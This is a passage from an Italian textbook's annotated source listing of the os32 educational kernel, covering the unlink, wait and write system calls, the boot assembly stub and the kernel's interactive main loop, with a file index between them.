1790138                 //
1790139                 size_written = inode_file_write (inode_directory, start,
1790140                                                  buffer, size_read);
1790141                 if (size_written != size_read)
1790142                   {
1790143                     //
1790144                     // Write problem: just tell.
1790145                     //
1790146                     k_printf ("kernel alert: directory write error!\n");
1790147                   }
1790148                 //
1790149                 // Update directory inode and put inode. If the unlinked
1790150                 // inode was a directory, the parent directory inode
1790151                 // must reduce the file system link count.
1790152                 //
1790153                 if (S_ISDIR (inode_unlink->mode))
1790154                   {
1790155                     inode_directory->links--;
1790156                   }
1790157                 inode_directory->time = s_time (pid, NULL);
1790158                 inode_directory->changed = 1;
1790159                 inode_put (inode_directory);
1790160                 //
1790161                 // Reduce link inside unlinked inode and put inode.
1790162                 //
1790163                 inode_unlink->links--;
1790164                 inode_unlink->changed = 1;
1790165                 inode_unlink->time = s_time (pid, NULL);
1790166                 inode_put (inode_unlink);
1790167                 //
1790168                 // Just return, as the work is done.
1790169                 //
1790170                 return (0);
1790171               }
1790172           }
1790173       }
1790174     //
1790175     // At this point, it was not possible to unlink the file.
```

```
1790176     //
1790177     inode_put (inode_unlink);
1790178     inode_put (inode_directory);
1790179     errset (EUNKNOWN);              // Unknown error.
1790180     return (-1);
1790181   }
```

119.8.39 kernel/lib_s/s_wait.c

Si veda la sezione 112.53.

```
1800001   #include <kernel/proc.h>
1800002   #include <kernel/lib_s.h>
1800003   #include <errno.h>
1800004   //----------------------------------------------------------------------
1800005   pid_t
1800006   s_wait (pid_t pid, int *status)
1800007   {
1800008     pid_t           parent = pid;
1800009     pid_t           child;
1800010     int             child_available = 0;
1800011     //
1800012     // Find a dead child process.
1800013     //
1800014     for (child = 1; child < PROCESS_MAX; child++)
1800015       {
1800016         if (proc_table[child].ppid == parent)
1800017           {
1800018             child_available = 1;  // Child found!
1800019             if (proc_table[child].status == PROC_ZOMBIE)
1800020               {
1800021                 break;            // It is dead!
1800022               }
1800023           }
1800024       }
1800025     //
1800026     // If the index 'child' is a valid process number,
1800027     // a dead child was found.
1800028     //
1800029     if (child < PROCESS_MAX)
1800030       {
1800031         *status = proc_table[child].ret;
1800032         proc_available (child);
1800033         return (child);
1800034       }
1800035     else
1800036       {
1800037         if (child_available)
1800038           {
1800039             //
1800040             // There are child, but all alive.
```

```
1800041             //
1800042             // Go to sleep.
1800043             //
1800044             proc_table[parent].status = PROC_SLEEPING;
1800045             proc_table[parent].wakeup_events = WAKEUP_EVENT_SIGNAL;
1800046             proc_table[parent].wakeup_signal = SIGCHLD;
1800047             return ((pid_t) 0);
1800048           }
1800049         else
1800050           {
1800051             //
1800052             // There are no child at all.
1800053             //
1800054             errset (ECHILD);
1800055             return ((pid_t) - 1);
1800056           }
1800057       }
1800058 }
```

119.8.40 kernel/lib_s/s_write.c

Si veda la sezione 112.54.

```
1810001 #include <kernel/proc.h>
1810002 #include <kernel/lib_s.h>
1810003 #include <errno.h>
1810004 #include <fcntl.h>
1810005 //----------------------------------------------------------------------
1810006 #define DEBUG 0
1810007 //----------------------------------------------------------------------
1810008 ssize_t
1810009 s_write (pid_t pid, int fdn, void *buffer, size_t count)
1810010 {
1810011   proc_t          *ps;
1810012   fd_t            *fd;
1810013   ssize_t          size_written;
1810014   int              status;
1810015   //
1810016   // Get process.
1810017   //
1810018   ps = proc_reference (pid);
1810019   //
1810020   // Get file descriptor.
1810021   //
1810022   fd = fd_reference (pid, &fdn);
1810023   if (fd == NULL || fd->file == NULL || fd->file->inode == NULL)
1810024     {
1810025       //
1810026       // The file descriptor pointer is not valid.
1810027       //
1810028       errset (EBADF);             // Bad file descriptor.
```

```
1810029             return ((ssize_t) - 1);
1810030           }
1810031         //
1810032         // Check if it is opened for write.
1810033         //
1810034         if (!(fd->file->oflags & O_WRONLY))
1810035           {
1810036             //
1810037             // The file is not opened for write.
1810038             //
1810039             errset (EINVAL);          // Invalid argument.
1810040             return ((ssize_t) - 1);
1810041           }
1810042         //
1810043         // Check if it is a directory: a directory can be
1810044         // read as a file descriptor, but cannot be written.
1810045         //
1810046         if (fd->file->inode->mode & S_IFDIR)
1810047           {
1810048             errset (EISDIR);          // Is a directory.
1810049             return ((ssize_t) - 1);
1810050           }
1810051         //
1810052         // It should be a valid type of file to be written. Check if it is
1810053         // opened in append mode: if so, must move the write offset to the
1810054         // end.
1810055         //
1810056         if (fd->fl_flags & O_APPEND)
1810057           {
1810058             fd->file->offset = fd->file->inode->size;
1810059           }
1810060         //
1810061         // Check the kind of file to be written and write it.
1810062         //
1810063         if (fd->file->inode->mode & S_IFBLK ||
1810064             fd->file->inode->mode & S_IFCHR)
1810065           {
1810066             //
1810067             // A device is to be written.
1810068             //
1810069             size_written = dev_io (pid, (dev_t) fd->file->inode->direct[0],
1810070                                    DEV_WRITE, (off_t) fd->file->offset,
1810071                                    buffer, count, NULL);
1810072           }
1810073         else if (fd->file->inode->mode & S_IFREG)
1810074           {
1810075             //
1810076             // A regular file is to be written.
1810077             //
1810078             size_written = inode_file_write (fd->file->inode,
1810079                                              fd->file->offset, buffer, count);
1810080           }
```

```
1810081     else if (fd->file->inode->mode & S_IFIFO)
1810082       {
1810083         //
1810084         // A pipe is to be written.
1810085         //
1810086         size_written = inode_pipe_write (fd->file->inode, buffer, count);
1810087         if (size_written == 0)
1810088           {
1810089             if (fd->file->inode->pipe_ref_read == 0)
1810090               {
1810091                 //
1810092                 // No read will be done anymore. Tell to
1810093                 // the process.
1810094                 //
1810095                 status = s_kill ((pid_t) 0, pid, SIGPIPE);
1810096                 if (status < 0)
1810097                   {
1810098                     errset (EPIPE);
1810099                     return ((ssize_t) - 1);
1810100                   }
1810101                 else
1810102                   {
1810103                     //
1810104                     // Wake up processes waiting to read.
1810105                     //
1810106                     proc_wakeup_pipe_read (fd->file->inode);
1810107                   }
1810108               }
1810109             else
1810110               {
1810111                 //
1810112                 // Go to sleep.
1810113                 //
1810114                 proc_table[pid].status = PROC_SLEEPING;
1810115                 proc_table[pid].ret = 0;
1810116                 proc_table[pid].wakeup_inode = fd->file->inode;
1810117                 proc_table[pid].wakeup_events = WAKEUP_EVENT_PIPE_WRITE;
1810118                 if (DEBUG)
1810119                   {
1810120                     k_printf ("[%s] PID %i goes to sleep "
1810121                               "waiting to write inside a pipe.\n",
1810122                               __FILE__, pid);
1810123                   }
1810124               }
1810125           }
1810126         else
1810127           {
1810128             //
1810129             // Wake up processes waiting to read.
1810130             //
1810131             proc_wakeup_pipe_read (fd->file->inode);
1810132           }
```

```
1810133       }
1810134     else
1810135       {
1810136         //
1810137         // Unsupported file type.
1810138         //
1810139         errset (E_FILE_TYPE_UNSUPPORTED); //File type unsupported.
1810140         return ((ssize_t) - 1);
1810141       }
1810142     //
1810143     // Update the file descriptor internal offset.
1810144     //
1810145     if (size_written > 0)
1810146       {
1810147         fd->file->offset += size_written;
1810148       }
1810149     //
1810150     // Just return the size written, even if it is an error.
1810151     //
1810152     return (size_written);
1810153 }
```

119.9 os32: «kernel/main.h»

Si veda la sezione 118.10.

```
1820001 #ifndef _KERNEL_MAIN_H
1820002 #define _KERNEL_MAIN_H       1
1820003 //----------------------------------------------------------------------
1820004 #include <kernel/multiboot.h>
1820005 #include <stdint.h>
1820006 #include <sys/types.h>
1820007 //----------------------------------------------------------------------
1820008 void  kmain (uint32_t magic, multiboot_t *mboot_data);
1820009 void  menu  (void);
1820010 pid_t run   (char *path, char *argv[], char *envp[]);
1820011 //----------------------------------------------------------------------
1820012 #endif
```

119.1 os32: directory principale 7031
119.1.1 applic.sep.ld 7031
119.1.2 bochs 7032
119.1.3 elf-to-os32 7032
119.1.4 kernel.ld 7034
119.1.5 makeit.sep 7035
119.1.6 qemu 7042
119.2 os32: «kernel/blk.h» 7043

119.2.1 kernel/blk/blk_ata.c 7050
119.2.2 kernel/blk/blk_cache_check.c 7052
119.2.3 kernel/blk/blk_cache_init.c 7052
119.2.4 kernel/blk/blk_cache_read.c 7053
119.2.5 kernel/blk/blk_cache_save.c 7054
119.2.6 kernel/blk/blk_public.c 7055

119.3 os32: «kernel/dev.h» 7055

119.3.1 kernel/dev/dev_ata.c 7062
119.3.2 kernel/dev/dev_dm.c 7064
119.3.3 kernel/dev/dev_io.c 7065
119.3.4 kernel/dev/dev_kmem.c 7066
119.3.5 kernel/dev/dev_mem.c 7070
119.3.6 kernel/dev/dev_tty.c 7072

119.4 os32: «kernel/dm.h» 7074

119.4.1 kernel/dm/dm_init.c 7080
119.4.2 kernel/dm/dm_public.c 7083
119.4.3 kernel/driver/ata.h 7083
119.4.4 kernel/driver/ata/ata_cmd_identify_device.c 7086
119.4.5 kernel/driver/ata/ata_cmd_read_sectors.c 7087
119.4.6 kernel/driver/ata/ata_cmd_write_sectors.c 7089
119.4.7 kernel/driver/ata/ata_device.c 7091
119.4.8 kernel/driver/ata/ata_drq.c 7092
119.4.9 kernel/driver/ata/ata_init.c 7093
119.4.10 kernel/driver/ata/ata_lba28.c 7098
119.4.11 kernel/driver/ata/ata_public.c 7099
119.4.12 kernel/driver/ata/ata_rdy.c 7099
119.4.13 kernel/driver/ata/ata_reset.c 7101
119.4.14 kernel/driver/ata/ata_valid.c 7101
119.4.15 kernel/driver/kbd.h 7102
119.4.16 kernel/driver/kbd/kbd_isr.c 7102
119.4.17 kernel/driver/kbd/kbd_load.c 7104
119.4.18 kernel/driver/kbd/kbd_public.c 7106
119.4.19 kernel/driver/screen.h 7106
119.4.20 kernel/driver/screen/screen_clear.c 7107
119.4.21 kernel/driver/screen/screen_current.c 7108
119.4.22 kernel/driver/screen/screen_init.c 7108
119.4.23 kernel/driver/screen/screen_new_line.c 7109
119.4.24 kernel/driver/screen/screen_number.c 7110

119.4.25 kernel/driver/screen/screen_pointer.c 7111
119.4.26 kernel/driver/screen/screen_public.c 7111
119.4.27 kernel/driver/screen/screen_putc.c 7111
119.4.28 kernel/driver/screen/screen_scroll.c 7113
119.4.29 kernel/driver/screen/screen_select.c 7114
119.4.30 kernel/driver/screen/screen_update.c 7114
119.4.31 kernel/driver/tty.h 7116
119.4.32 kernel/driver/tty/tty_console.c 7116
119.4.33 kernel/driver/tty/tty_init.c 7117
119.4.34 kernel/driver/tty/tty_public.c 7119
119.4.35 kernel/driver/tty/tty_read.c 7119
119.4.36 kernel/driver/tty/tty_reference.c 7120
119.4.37 kernel/driver/tty/tty_write.c 7121

119.5 os32: «kernel/fs.h» 7121

119.5.1 kernel/fs/fd_dup.c 7131
119.5.2 kernel/fs/fd_reference.c 7133
119.5.3 kernel/fs/file_pipe_make.c 7134
119.5.4 kernel/fs/file_reference.c 7135
119.5.5 kernel/fs/file_stdio_dev_make.c 7136
119.5.6 kernel/fs/file_table.c 7137
119.5.7 kernel/fs/fs_init.c 7137
119.5.8 kernel/fs/inode_alloc.c 7137
119.5.9 kernel/fs/inode_check.c 7141
119.5.10 kernel/fs/inode_dir_empty.c 7142
119.5.11 kernel/fs/inode_file_read.c 7144
119.5.12 kernel/fs/inode_file_write.c 7146
119.5.13 kernel/fs/inode_free.c 7148
119.5.14 kernel/fs/inode_fzones_read.c 7149
119.5.15 kernel/fs/inode_fzones_write.c 7151
119.5.16 kernel/fs/inode_get.c 7152
119.5.17 kernel/fs/inode_pipe_make.c 7155
119.5.18 kernel/fs/inode_pipe_read.c 7157
119.5.19 kernel/fs/inode_pipe_write.c 7159
119.5.20 kernel/fs/inode_print.c 7161
119.5.21 kernel/fs/inode_put.c 7163
119.5.22 kernel/fs/inode_reference.c 7164
119.5.23 kernel/fs/inode_save.c 7166
119.5.24 kernel/fs/inode_stdio_dev_make.c 7167
119.5.25 kernel/fs/inode_table.c 7169

119.5.26 kernel/fs/inode_truncate.c 7169
119.5.27 kernel/fs/inode_zone.c 7172
119.5.28 kernel/fs/path_device.c 7180
119.5.29 kernel/fs/path_fix.c 7181
119.5.30 kernel/fs/path_full.c 7183
119.5.31 kernel/fs/path_inode.c 7184
119.5.32 kernel/fs/path_inode_link.c 7188
119.5.33 kernel/fs/sb_inode_status.c 7193
119.5.34 kernel/fs/sb_mount.c 7194
119.5.35 kernel/fs/sb_print.c 7197
119.5.36 kernel/fs/sb_public.c 7198
119.5.37 kernel/fs/sb_reference.c 7198
119.5.38 kernel/fs/sb_save.c 7199
119.5.39 kernel/fs/sb_zone_status.c 7201
119.5.40 kernel/fs/zone_alloc.c 7202
119.5.41 kernel/fs/zone_free.c 7203
119.5.42 kernel/fs/zone_print.c 7204
119.5.43 kernel/fs/zone_read.c 7205
119.5.44 kernel/fs/zone_write.c 7206

119.6 os32: «kernel/ibm_i386.h» 7207

119.6.1 kernel/ibm_i386/_in_32.s 7217
119.6.2 kernel/ibm_i386/_in_16.s 7218
119.6.3 kernel/ibm_i386/_in_8.s 7218
119.6.4 kernel/ibm_i386/_out_32.s 7219
119.6.5 kernel/ibm_i386/_out_16.s 7219
119.6.6 kernel/ibm_i386/_out_8.s 7220
119.6.7 kernel/ibm_i386/cli.s 7220
119.6.8 kernel/ibm_i386/gdt.c 7221
119.6.9 kernel/ibm_i386/gdt_load.s 7222
119.6.10 kernel/ibm_i386/gdt_print.c 7222
119.6.11 kernel/ibm_i386/gdt_public.c 7223
119.6.12 kernel/ibm_i386/gdt_segment.c 7223
119.6.13 kernel/ibm_i386/idt.c 7224
119.6.14 kernel/ibm_i386/idt_descriptor.c 7226
119.6.15 kernel/ibm_i386/idt_irq_remap.c 7227
119.6.16 kernel/ibm_i386/idt_load.s 7228
119.6.17 kernel/ibm_i386/idt_print.c 7228
119.6.18 kernel/ibm_i386/idt_public.c 7229
119.6.19 kernel/ibm_i386/irq_off.c 7229

119.6.20 kernel/ibm_i386/irq_on.c 7230
119.6.21 kernel/ibm_i386/isr.s 7231
119.6.22 kernel/ibm_i386/isr_exception_name.c 7245
119.6.23 kernel/ibm_i386/isr_exception_unrecoverable.c 7246
119.6.24 kernel/ibm_i386/isr_irq_clear.c 7246
119.6.25 kernel/ibm_i386/isr_irq_clear_pic1.c 7247
119.6.26 kernel/ibm_i386/isr_irq_clear_pic2.c 7247
119.6.27 kernel/ibm_i386/sti.s 7247

119.7 os32: «kernel/lib_k.h» 7248

119.7.1 kernel/lib_k/k_exit.s 7254
119.7.2 kernel/lib_k/k_gets.c 7255
119.7.3 kernel/lib_k/k_perror.c 7255
119.7.4 kernel/lib_k/k_printf.c 7256
119.7.5 kernel/lib_k/k_sleep.c 7256
119.7.6 kernel/lib_k/k_stime.c 7257
119.7.7 kernel/lib_k/k_vprintf.c 7257
119.7.8 kernel/lib_k/k_vsprintf.c 7258

119.8 os32: «kernel/lib_s.h» 7259

119.8.1 kernel/lib_s/s__exit.c 7266
119.8.2 kernel/lib_s/s_brk.c 7269
119.8.3 kernel/lib_s/s_chdir.c 7275
119.8.4 kernel/lib_s/s_chmod.c 7276
119.8.5 kernel/lib_s/s_chown.c 7277
119.8.6 kernel/lib_s/s_clock.c 7278
119.8.7 kernel/lib_s/s_close.c 7278
119.8.8 kernel/lib_s/s_dup.c 7280
119.8.9 kernel/lib_s/s_dup2.c 7280
119.8.10 kernel/lib_s/s_fchmod.c 7281
119.8.11 kernel/lib_s/s_fchown.c 7282
119.8.12 kernel/lib_s/s_fcntl.c 7283
119.8.13 kernel/lib_s/s_fork.c 7285
119.8.14 kernel/lib_s/s_fstat.c 7291
119.8.15 kernel/lib_s/s_kill.c 7292
119.8.16 kernel/lib_s/s_link.c 7295
119.8.17 kernel/lib_s/s_longjmp.c 7296
119.8.18 kernel/lib_s/s_lseek.c 7297
119.8.19 kernel/lib_s/s_mkdir.c 7299
119.8.20 kernel/lib_s/s_mknod.c 7301

119.8.21 kernel/lib_s/s_mount.c 7303
119.8.22 kernel/lib_s/s_open.c 7304
119.8.23 kernel/lib_s/s_pipe.c 7310
119.8.24 kernel/lib_s/s_read.c 7312
119.8.25 kernel/lib_s/s_sbrk.c 7315
119.8.26 kernel/lib_s/s_setegid.c 7316
119.8.27 kernel/lib_s/s_seteuid.c 7317
119.8.28 kernel/lib_s/s_setgid.c 7317
119.8.29 kernel/lib_s/s_setjmp.c 7318
119.8.30 kernel/lib_s/s_setuid.c 7319
119.8.31 kernel/lib_s/s_signal.c 7320
119.8.32 kernel/lib_s/s_stat.c 7321
119.8.33 kernel/lib_s/s_stime.c 7323
119.8.34 kernel/lib_s/s_tcgetattr.c 7323
119.8.35 kernel/lib_s/s_tcsetattr.c 7325
119.8.36 kernel/lib_s/s_time.c 7326
119.8.37 kernel/lib_s/s_umount.c 7327
119.8.38 kernel/lib_s/s_unlink.c 7329
119.8.39 kernel/lib_s/s_wait.c 7333
119.8.40 kernel/lib_s/s_write.c 7334

119.9 os32: «kernel/main.h» 7337

119.9.1 kernel/main/build.h 7344
119.9.2 kernel/main/crt0.s 7344
119.9.3 kernel/main/kmain.c 7345
119.9.4 kernel/main/menu.c 7351
119.9.5 kernel/main/run.c 7352
119.9.6 kernel/main/stack.s 7353

119.10 os32: «kernel/memory.h» 7353

119.10.1 kernel/memory/mb_alloc.c 7360
119.10.2 kernel/memory/mb_alloc_size.c 7362
119.10.3 kernel/memory/mb_clean.c 7364
119.10.4 kernel/memory/mb_free.c 7364
119.10.5 kernel/memory/mb_print.c 7366
119.10.6 kernel/memory/mb_public.c 7368
119.10.7 kernel/memory/mb_reduce.c 7368
119.10.8 kernel/memory/mb_reference.c 7369
119.10.9 kernel/memory/mb_size.c 7369

119.11 os32: «kernel/multiboot.h» 7370

119.11.1 kernel/multiboot/mboot_public.c 7376
119.11.2 kernel/multiboot/mboot_save.c 7376

119.12 os32: «kernel/part.h» 7377

119.13 os32: «kernel/proc.h» 7384

119.13.1 kernel/proc/proc_available.c 7393
119.13.2 kernel/proc/proc_dump_memory.c 7394
119.13.3 kernel/proc/proc_init.c 7395
119.13.4 kernel/proc/proc_offset_data_to_pointer.c 7399
119.13.5 kernel/proc/proc_print.c 7399
119.13.6 kernel/proc/proc_public.c 7401
119.13.7 kernel/proc/proc_reference.c 7402
119.13.8 kernel/proc/proc_sch_signals.c 7402
119.13.9 kernel/proc/proc_sch_terminals.c 7403
119.13.10 kernel/proc/proc_sch_timers.c 7410
119.13.11 kernel/proc/proc_scheduler.c 7411
119.13.12 kernel/proc/proc_sig_chld.c 7415
119.13.13 kernel/proc/proc_sig_cont.c 7416
119.13.14 kernel/proc/proc_sig_core.c 7416
119.13.15 kernel/proc/proc_sig_handler.c 7418
119.13.16 kernel/proc/proc_sig_ignore.c 7422
119.13.17 kernel/proc/proc_sig_off.c 7423
119.13.18 kernel/proc/proc_sig_on.c 7423
119.13.19 kernel/proc/proc_sig_status.c 7423
119.13.20 kernel/proc/proc_sig_stop.c 7424
119.13.21 kernel/proc/proc_sig_term.c 7424
119.13.22 kernel/proc/proc_sys_exec.c 7425
119.13.23 kernel/proc/proc_timer_init.c 7440
119.13.24 kernel/proc/proc_wakeup_pipe_read.c 7441
119.13.25 kernel/proc/proc_wakeup_pipe_write.c 7441
119.13.26 kernel/proc/proc_wakeup_terminal.c 7442
119.13.27 kernel/proc/sysroutine.c 7443

119.9.1 kernel/main/build.h

Si veda la sezione 118.10.

```
1830001 #define BUILD_DATE "201007261720"
```

119.9.2 kernel/main/crt0.s

Si veda la sezione 109.2.2.

```
1840001 .extern kmain
1840002 .extern _k_stack_top
1840003 .extern _k_stack_bottom
1840004 .global kstartup
1840005 ########################################################################
1840006 #
1840007 # The kernel must be compiled as ELF, so that the bootloader (GRUB or
1840008 # SYSLINUX) can recognize it.
1840009 #
1840010 #-----------------------------------------------------------------------
1840011 .section .text
1840012 #-----------------------------------------------------------------------
1840013 #
1840014 # At the beginning there is the code, but inside the code there is also
1840015 # the multiboot header. This is why we start with a jump.
1840016 #
1840017 kstartup:
1840018     jmp start
1840019 #
1840020 # Here is the multiboot header, that must be placed near the beginning
1840021 # of the image-file, but aligned at a multiple of four bytes.
1840022 #
1840023 .align 4
1840024 multiboot_header:
1840025     .int 0x1BADB002                      # magic
1840026     .int 0x00000003                      # flags
1840027     .int -(0x1BADB002 + 0x00000003)      # checksum
1840028 #
1840029 # Here starts really the code.
1840030 #
1840031 start:
1840032     #
1840033     # Set ESP at the stack bottom.
1840034     #
1840035     movl $_k_stack_bottom, %esp
1840036     #
1840037     # Reset flags inside EFLAGS, but must use the stack to make it.
1840038     #
1840039     pushl $0
1840040     popf
1840041     #
```

```
1840042     # Call function 'kmain()'. It is not the usual 'main()' because
1840043     # we need to pass some data, but it is not compatible with the
1840044     # standard 'main()' prototype.
1840045     #
1840046     # void kmain (uint32_t magic, multiboot_t *info);
1840047     #
1840048     pushl %ebx          # Pointer to the structure containing
1840049                         # data from the boot system.
1840050     pushl %eax          # Boot system signature.
1840051     #
1840052     call kmain          # Do the call.
1840053 #
1840054 # Halt procedure.
1840055 #
1840056 halt:
1840057     hlt                 # If the function 'kmain()' return, this
1840058                         # instruction will halt the CPU.
1840059     jmp halt            # if the CPU will resume working, the HLT
1840060                         # instruction will be repeated.
1840061 #------------------------------------------------------------------------
1840062 .align 4
1840063 .section .data
1840064 #------------------------------------------------------------------------
1840065 .align 4
1840066 .section .bss
1840067 #------------------------------------------------------------------------
```

119.9.3 kernel/main/kmain.c

Si veda la sezione 118.10.

```
1850001 #include <kernel/main.h>
1850002 #include <kernel/main/build.h>
1850003 #include <kernel/lib_k.h>
1850004 #include <kernel/driver/tty.h>
1850005 #include <kernel/memory.h>
1850006 #include <stdlib.h>
1850007 #include <stdint.h>
1850008 #include <kernel/driver/screen.h>
1850009 #include <kernel/proc.h>
1850010 #include <kernel/lib_s.h>
1850011 #include <kernel/fs.h>
1850012 #include <unistd.h>
1850013 #include <stdint.h>
1850014 #include <kernel/driver/kbd.h>
1850015 #include <kernel/driver/ata.h>
1850016 #include <kernel/dev.h>
1850017 #include <kernel/blk.h>
1850018 #include <fcntl.h>
1850019 #include <string.h>
1850020 #include <limits.h>
```

```
1850021 //----------------------------------------------------------------------
1850022 static char command[MAX_CANON];
1850023 //----------------------------------------------------------------------
1850024 void
1850025 kmain (uint32_t magic, multiboot_t *mboot_data)
1850026 {
1850027     int           exit;
1850028     pid_t         pid;
1850029     int           counter;
1850030     char         *exec_argv[2];
1850031     int           status;
1850032     ssize_t       count;
1850033     //
1850034     // Reset video and select the initial console.
1850035     //
1850036     tty_init ();
1850037     //
1850038     // Verify ‘multiboot’ data.
1850039     //
1850040     if (magic == 0x2BADB002)
1850041       {
1850042         //
1850043         // Save multiboot data.
1850044         //
1850045         mboot_save (mboot_data);
1850046         //
1850047         // Show compilation date and time, plus upper memory limit.
1850048         //
1850049         k_printf ("os32 build %s ram %i Kibyte\n",
1850050                   BUILD_DATE, (int) multiboot.mem_upper);
1850051         //
1850052         // Set ‘mb_max’, for memory allocation.
1850053         //
1850054         mb_size (multiboot.mem_upper * 1024);
1850055         //
1850056         // keyboard initialization.
1850057         //
1850058         kbd_load ();
1850059         //
1850060         // Block cache initialization.
1850061         //
1850062         blk_cache_init ();
1850063         //
1850064         // File system management initialization.
1850065         //
1850066         fs_init ();
1850067         //
1850068         // Set up processes.
1850069         //
1850070         proc_init ();
1850071       }
1850072     else
```

```
1850073         {
1850074           //
1850075           // If it is not a multiboot loader, it is an error.
1850076           //
1850077           k_printf ("os32 build %s. ERROR. no \"multiboot\" header!\n",
1850078                     BUILD_DATE);
1850079           k_printf ("[%s] system halted\n", __func__);
1850080           k_exit ();
1850081         }
1850082       //
1850083       // The kernel will run interactively.
1850084       //
1850085       menu ();
1850086       //
1850087       //
1850088       //
1850089       for (exit = 0; exit == 0;)
1850090         {
1850091           //
1850092           // While in kernel code, timer interrupt don't start the
1850093           // scheduler. The kernel must leave control to the scheduler
1850094           // via a null system call.
1850095           //
1850096           sys (SYS_0, NULL, 0);
1850097           //
1850098           // Back to work: read the keyboard from the TTY device.
1850099           //
1850100           count = dev_io ((pid_t) 0, (dev_t) DEV_TTY, DEV_READ, (off_t) 0,
1850101                           command, (size_t) MAX_CANON, NULL);
1850102           //
1850103           // Check if there is a command: the kernel does not
1850104           // go to sleep.
1850105           //
1850106           if (count == 0)
1850107             {
1850108               //
1850109               // No command is ready in the buffer keyboard.
1850110               //
1850111               continue;
1850112             }
1850113           if (count == 1)
1850114             {
1850115               //
1850116               // Just [Enter] or [Ctrl d] was pressed.
1850117               //
1850118               continue;
1850119             }
1850120           if (count > MAX_CANON)
1850121             {
1850122               //
1850123               // Something impossible!
1850124               //
```

```
1850125                 continue;
1850126               }
1850127             //
1850128             // The last character is the "line delimiter" (new line et al.),
1850129             // or zero in case of EOF. The last character is replaced with
1850130             // zero, so that the command becomes a terminated string.
1850131             //
1850132             command[count-1] = 0;
1850133             //
1850134             // A command was typed: start to check what it was.
1850135             //
1850136             if      (strncmp (command, "1", MAX_CANON) == 0)
1850137               {
1850138                 s_kill ((pid_t) 0, (pid_t) 1, SIGKILL);     // kill init.
1850139               }
1850140             else if (strncmp (command, "2", MAX_CANON) == 0)
1850141               {
1850142                 s_kill ((pid_t) 0, (pid_t) 2,  SIGTERM);    // kill proc. 2
1850143               }
1850144             else if (strncmp (command, "3", MAX_CANON) == 0)
1850145               {
1850146                 s_kill ((pid_t) 0, (pid_t) 3,  SIGTERM);    // kill proc. 3
1850147               }
1850148             else if (strncmp (command, "4", MAX_CANON) == 0)
1850149               {
1850150                 s_kill ((pid_t) 0, (pid_t) 4,  SIGTERM);    // kill proc. 4
1850151               }
1850152             else if (strncmp (command, "5", MAX_CANON) == 0)
1850153               {
1850154                 s_kill ((pid_t) 0, (pid_t) 5,  SIGTERM);    // kill proc. 5
1850155               }
1850156             else if (strncmp (command, "6", MAX_CANON) == 0)
1850157               {
1850158                 s_kill ((pid_t) 0, (pid_t) 6,  SIGTERM);    // kill proc. 6
1850159               }
1850160             else if (strncmp (command, "7", MAX_CANON) == 0)
1850161               {
1850162                 s_kill ((pid_t) 0, (pid_t) 7,  SIGTERM);    // kill proc. 7
1850163               }
1850164             else if (strncmp (command, "8", MAX_CANON) == 0)
1850165               {
1850166                 s_kill ((pid_t) 0, (pid_t) 8,  SIGTERM);    // kill proc. 8
1850167               }
1850168             else if (strncmp (command, "9", MAX_CANON) == 0)
1850169               {
1850170                 s_kill ((pid_t) 0, (pid_t) 9,  SIGTERM);    // kill proc. 9
1850171               }
1850172             else if (strncmp (command, "A", MAX_CANON) == 0)
1850173               {
1850174                 s_kill ((pid_t) 0, (pid_t) 10,  SIGTERM);   // kill proc. 10
1850175               }
1850176             else if (strncmp (command, "B", MAX_CANON) == 0)
```

```
1850177             {
1850178               s_kill ((pid_t) 0, (pid_t) 11,  SIGTERM);   // kill proc. 11
1850179             }
1850180           else if (strncmp (command, "C", MAX_CANON) == 0)
1850181             {
1850182               s_kill ((pid_t) 0, (pid_t) 12,  SIGTERM);   // kill proc. 12
1850183             }
1850184           else if (strncmp (command, "D", MAX_CANON) == 0)
1850185             {
1850186               s_kill ((pid_t) 0, (pid_t) 13,  SIGTERM);   // kill proc. 13
1850187             }
1850188           else if (strncmp (command, "E", MAX_CANON) == 0)
1850189             {
1850190               s_kill ((pid_t) 0, (pid_t) 14,  SIGTERM);   // kill proc. 14
1850191             }
1850192           else if (strncmp (command, "F", MAX_CANON) == 0)
1850193             {
1850194               s_kill ((pid_t) 0, (pid_t) 15,  SIGTERM);   // kill proc. 15
1850195             }
1850196           else if (strncmp (command, "a", MAX_CANON) == 0)
1850197             {
1850198               run ("/bin/aaa", NULL, NULL);
1850199             }
1850200           else if (strncmp (command, "b", MAX_CANON) == 0)
1850201             {
1850202               run ("/bin/bbb", NULL, NULL);
1850203             }
1850204           else if (strncmp (command, "c", MAX_CANON) == 0)
1850205             {
1850206               run ("/bin/ccc", NULL, NULL);
1850207             }
1850208           else if (strncmp (command, "f", MAX_CANON) == 0)
1850209             {
1850210               pid = fork ();
1850211               if (pid == -1)
1850212                 {
1850213                   k_perror (NULL);
1850214                 }
1850215               else if (pid == 0)
1850216                 {
1850217                   //
1850218                   // Get child real pid.
1850219                   //
1850220                   pid = getpid ();
1850221                   //
1850222                   // Please note that the child is no more a kernel, and
1850223                   // can access to process system calls.
1850224                   //
1850225                   for (counter = 0; counter < 60; counter++)
1850226                     {
1850227                       z_printf ("%1x", (int) pid);
1850228                       sleep (1);
```

```
1850229                     }
1850230                   }
1850231                 else
1850232                   {
1850233                     z_printf ("io sono il genitore di %i\n", pid);
1850234                   }
1850235               }
1850236             else if (strncmp (command, "g", MAX_CANON) == 0)
1850237               {
1850238                 gdt_print (&gdt_register, 0, 20);
1850239               }
1850240             else if (strncmp (command, "G", MAX_CANON) == 0)
1850241               {
1850242                 gdt_print (&gdt_register, 21, 41);
1850243               }
1850244             else if (strncmp (command, "h", MAX_CANON) == 0)
1850245               {
1850246                 menu ();
1850247               }
1850248             else if (strncmp (command, "i", MAX_CANON) == 0)
1850249               {
1850250                 idt_print (&idt_register, 0, 20);
1850251               }
1850252             else if (strncmp (command, "I", MAX_CANON) == 0)
1850253               {
1850254                 idt_print (&idt_register, 21, 41);
1850255               }
1850256             else if (strncmp (command, "m", MAX_CANON) == 0)
1850257               {
1850258                 mb_print ();
1850259               }
1850260             else if (strncmp (command, "n", MAX_CANON) == 0)
1850261               {
1850262                 inode_print ();
1850263               }
1850264             else if (strncmp (command, "p", MAX_CANON) == 0)
1850265               {
1850266                 proc_print ();
1850267               }
1850268             else if (strncmp (command, "s", MAX_CANON) == 0)
1850269               {
1850270                 sb_print ();
1850271               }
1850272             else if (strncmp (command, "t", MAX_CANON) == 0)
1850273               {
1850274                 k_printf ("clock: %lli time: %i\n",
1850275                           (long long int) s_clock ((pid_t) 0),
1850276                           (int) s_time ((pid_t) 0, NULL));
1850277               }
1850278             else if (strncmp (command, "w", MAX_CANON) == 0)
1850279               {
1850280                 status = s_open ((pid_t) 0, "/tmp/test",
```

```
